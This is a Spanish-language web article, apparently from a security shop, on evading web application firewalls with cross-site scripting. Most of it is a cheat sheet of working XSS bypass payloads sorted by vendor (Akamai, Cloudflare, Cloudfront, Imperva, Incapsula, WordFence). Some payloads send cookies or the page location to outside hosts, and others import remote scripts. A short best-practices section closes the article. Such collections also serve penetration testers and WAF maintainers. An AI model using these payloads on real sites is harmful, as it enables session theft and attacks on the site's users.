Eludir WAF con Payloads de XSS
Eludir WAF con Cargas Útiles de XSS

Eludir WAF con Cargas Útiles de XSS

En esta guía describiremos algunas de las técnicas que suelen utilizar los hackers para eludir los cortafuegos de aplicaciones web (WAF) durante la explotación de XSS.

Los cortafuegos de aplicaciones web (WAF) son componentes clave de seguridad diseñados para proteger las aplicaciones web contra diversos tipos de ataques, incluido el cross-site scripting (XSS).

Sin embargo, los atacantes sofisticados a menudo encuentran maneras de eludir los WAF, especialmente cuando se trata de inyectar archivos maliciosos de XSS.

En este artículo veremos algunas técnicas utilizadas para eludir WAF y ejecutar XSS con éxito.

Comprensión del XSS y WAF

El cross-site scripting (XSS) es un tipo de ataque de inyección en el que un atacante inserta scripts maliciosos en contenido que luego se entrega a los usuarios. Estos scripts pueden robar datos de los usuarios, interceptar sesiones o realizar acciones no autorizadas en nombre del usuario.

Los WAF están diseñados para filtrar y monitorear las solicitudes HTTP, bloqueando cualquier intento malicioso basado en reglas predefinidas o algoritmos de aprendizaje.

Sin embargo, los WAF no son infalibles, y los atacantes constantemente desarrollan nuevos métodos para eludirlos.

Métodos Comunes de Elusión de WAF

Ofuscación

Los atacantes a menudo ofuscan la carga útil (payload) de XSS para evitar su detección por parte del WAF.

Técnicas como codificar la carga útil en varios formatos (por ejemplo, entidades HTML, Base64) o dividir los scripts con comentarios o caracteres adicionales pueden engañar al WAF y hacer que permita la carga útil.

<img src=x onerror="/*<![CDATA[*/alert(1)/*]]>*/">
<img src="x" onerror="&#x61;&#x6C;&#x65;&#x72;&#x74;(1)">

Uso de manejadores de eventos alternativos

Los WAF pueden filtrar específicamente manejadores de eventos (“event handlers”) comunes como onload u onerror.

Los atacantes pueden usar manejadores de eventos menos comunes, que pueden no estar cubiertos por las reglas del WAF.

<div onfocus="alert('Evento onfocus activado')">Haz clic aquí y luego haz clic fuera.</div>

Polyglot payloads

La XSS polyglot es una carga útil que puede ser interpretada en varios contextos, lo que aumenta sus posibilidades de eludir el WAF.

Estas cargas útiles están diseñadas para ejecutarse independientemente de si se procesan como HTML, JavaScript u otro lenguaje.

<script>/*</script><svg onload=alert(1)>*/

División de la carga útil

Dividir la carga útil en varias partes a veces permite evitar la detección, ya que los WAF pueden no ensamblar correctamente el script completo.

<img src='1' onerror='ja'+'vascript:alert(1)'>

Manipulación de encabezados

Algunos WAF revisan ciertos encabezados HTTP en busca de contenido malicioso.

Manipulando los encabezados o inyectándolos de manera no estándar, un atacante puede eludir el proceso de verificación del WAF.

GET / HTTP/1.1  
Host: victim.com  
Content-Length: 0  
X-Forwarded-For: '><script>alert(1)</script>

Cargas Útiles para Eludir WAF

A continuación, se presentan algunas cargas útiles diseñadas para eludir diversos WAF:

XSS Akamai

<style>@keyframes a{}b{animation:a;}</style><b/onanimationstart=prompt`${document.domain}&#x60;>
<marquee+loop=1+width=0+onfinish='new+Function`al\ert`1``'>
<svg><circle><set onbegin=prompt(1) attributename=fill>
<dETAILS%0aopen%0aonToGgle%0a=%0aa=prompt,a() x>
"%3balert`1`%3b"
asd"`> onpointerenter=x=prompt,x`XSS`
<x onauxclick=import('//1152848220/')>click
<x onauxclick=a=alert,a(domain)>click -@niksthehacker
<x onauxclick=import('//1152848220/')>click
<x onauxclick=import('//xss/')>click
\"<>onauxclick<>=(eval)(atob(`YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ==`))>+<sss
{{constructor.constructor(alert`1`)()}}
javascript:new%20Function`al\ert`1``;
https://twitter.com/xhzeem/status/1378316651431612422
https://twitter.com/xhzeem/status/1377992310974218245
<script>Object.prototype.BOOMR = 1;Object.prototype.url='https://portswigger-labs.net/xss/xss.js'</script> -https://portswigger.net/web-security/cross-site-scripting/cheat-sheet
"><a/\test="%26quot;x%26quot;"href='%01javascript:/*%b1*/;location.assign("//hackerone.com/stealthy?x="+location)'>Click -@stealthybugs
<style>
    @keyframes a {}
    b { animation: a; }
</style>
<b onanimationstart="prompt`${document.domain}`;">
<marquee loop="1" width="0" onfinish="new Function`alert`1``;">
<svg><circle><set onbegin="prompt(1)" attributename="fill"></set></circle></svg>

Cloudflare XSS

<a"/onclick=(confirm)()>Click Here!
Dec: <svg onload=prompt%26%230000000040document.domain)>
Hex: <svg onload=prompt%26%23x000000028;document.domain)>
xss'"><iframe srcdoc='%26lt;script>;prompt`${document.domain}`%26lt;/script>'>
<a href="j&Tab;a&Tab;v&Tab;asc&NewLine;ri&Tab;pt&colon;&lpar;a&Tab;l&Tab;e&Tab;r&Tab;t&Tab;(document.domain)&rpar;">X</a>
<--%253cimg%20onerror=alert(1)%20src=a%253e --!>
<a+HREF='%26%237javascrip%26%239t:alert%26lpar;document.domain)'>
javascript:{ alert`0` }
1'"><img/src/onerror=.1|alert``>
<img src=x onError=import('//1152848220/')>
%2sscript%2ualert()%2s/script%2u
<svg on onload=(alert)(document.domain)>
<img ignored=() src=x onerror=prompt(1)>
<svg onx=() onload=(confirm)(1)>
“><img%20src=x%20onmouseover=prompt%26%2300000000000000000040;document.cookie%26%2300000000000000000041;
<svg on =i onload=alert(domain) (working)
<svg/onload=location/**/='https://your.server/'+document.domain>
<svg onx=() onload=window.alert?.()> (working)
test",prompt%0A/*HelloWorld*/(document.domain) (working)- @Brutelogic
"onx+%00+onpointerenter%3dalert(domain)+x" (working)- @Brutelogic
"><svg%20onload=alert%26%230000000040"1")> (working)- @IamRenganathan
%27%09);%0d%0a%09%09[1].find(alert)//
"><img src=1 onmouseleave=print()> - @itsgeekymonk
<svg on onload=(alert)(document.domain)> -@zapstiko
<svg on%20onload=alert(1)> (working) -@aufzayed
<img/src=x onError="`${x}`;alert(`Ex.Mi`);"> -@ex_mi
<a"/onclick=(confirm)()>Click Here!
Dec: <svg onload=prompt%26%230000000040document.domain)>
Hex: <svg onload=prompt%26%23x000000028;document.domain)>

Cloudfront XSS

">%0D%0A%0D%0A<x '="foo"><x foo='><img src=x onerror=javascript:alert(`cloudfrontbypass`)//'>
">'><details/open/ontoggle=confirm('XSS')>
6'%22()%26%25%22%3E%3Csvg/onload=prompt(1)%3E/
&quot;&gt;&lt;img src=x onerror=confirm(1);&gt;

Imperva XSS

<x/onclick=globalThis&lsqb;'\u0070r\u006f'+'mpt']&lt;)>clickme (working)-Pinaki @0xInfection(Make sure to URL encode the payload properly)
tarun"><x/onafterscriptexecute=confirm%26lpar;)// -@sratarun
<a/href="j%0A%0Davascript:{var{3:s,2:h,5:a,0:v,4:n,1:e}='earltv'}[self][0][v+a+e+s](e+s+v+h+n)(/infected/.source)" />click (workin)Pinaki @0xInfection (Make sure the applications decodes the payload from encoded)
<details/open/ontoggle="self['wind'%2b'ow']['one'%2b'rror']=self['wind'%2b'ow']['ale'%2b'rt'];throw/**/self['doc'%2b'ument']['domain'];"> - @xsspayloads
<svg onload\r\n=$.globalEval("al"+"ert()");>
<bleh/onclick=top[/al/.source+/ert/.source]&Tab;``>click Pinaki @0xInfection
<sVg OnPointerEnter="location=`javas`+`cript:ale`+`rt%2`+`81%2`+`9`;//</div"> -@AldenAous
<a/href="j%0A%0Davascript:{var{3:s,2:h,5:a,0:v,4:n,1:e}='test'}[self][0][v+a+e+s](e+s+v+h+n)(/infected/.source)" />tap

Incapsula XSS

<iframe/onload='this["src"]="javas&Tab;cript:al"+"ert``"';>
<iframe/onload="var b = 'document.domain)'; var a = 'JaV' + 'ascRipt:al' + 'ert(' + b; this['src']=a">
<audio autoplay onloadstart=this.src='hxxps://msf.fun/?c='+document["cook"+"ie"]' src=x>
<img/src=q onerror='new Function`al\ert`1``'>
<object data='data:text/html;;;;;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=='></object>
<svg onload\r\n=$.globalEval("al"+"ert()");>
[1].map(alert) or (alert)(1)
<"><details/open/ontoggle="jAvAsCrIpT&colon;alert&lpar;/xss-by-tarun/&rpar;">XXXXX</a>
[1].find(confirm)
<svg/onload=self[`aler`%2b`t`]`1`>
%22%3E%3Cobject%20data=data:text/html;;;;;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==%3E%3C/object%3E
'-[document.domain].map(alert)-'

WordFence XSS

ax6zt%2522%253e%253cscript%253ealert%2528document.domain%2529%253c%252fscript%253ey6uu6 -@naglinagli
<meter onmouseover="alert(1)" -@manjith27945363
'">><div><meter onmouseover="alert(1)"</div>" -@manjith27945363
>><marquee loop=1 width=0 onfinish=alert(1)> -@manjith27945363
Wordfence 7.4.2
<a href=&#01javascript:alert(1)> -@brutelogic
<a/href=%26%23x6a;%26%23x61;%26%23x76;%26%23x61;%26%23x73;%26%23x63;%26%23x72;%26%23x69;%26%23x70;%26%23x0a;:alert(1)>please%20click%20here</a>

Mejores Prácticas de Protección

Aunque entender cómo los atacantes eluden los WAF es muy importante, los equipos de seguridad deben actualizar constantemente las reglas del WAF, usar varios niveles de protección y realizar evaluaciones de seguridad de manera regular.

  • Actualizaciones regulares: Mantén las firmas y reglas del WAF actualizadas para protegerte de nuevas y emergentes amenazas.
  • Protección profunda: Usa una combinación de mecanismos de seguridad (por ejemplo, validación de entradas, política de seguridad de contenidos) junto con WAF para una protección más efectiva.
  • Pruebas de seguridad: Realiza pruebas de penetración y evaluaciones de seguridad periódicamente para detectar y corregir cualquier vulnerabilidad que pueda ser explotada.

Conclusión

Eludir un WAF con una carga útil de XSS requiere creatividad y una comprensión profunda tanto de las limitaciones del WAF como de la propia aplicación web.

Aunque los WAF proporcionan una sólida línea de defensa, no deben ser el único recurso en el que confiar.

Un enfoque de seguridad en capas, combinado con un monitoreo y pruebas constantes, es necesario para protegerse de estos ataques complejos.

My Cart Close (×)

Tu carrito está vacío
Ver tienda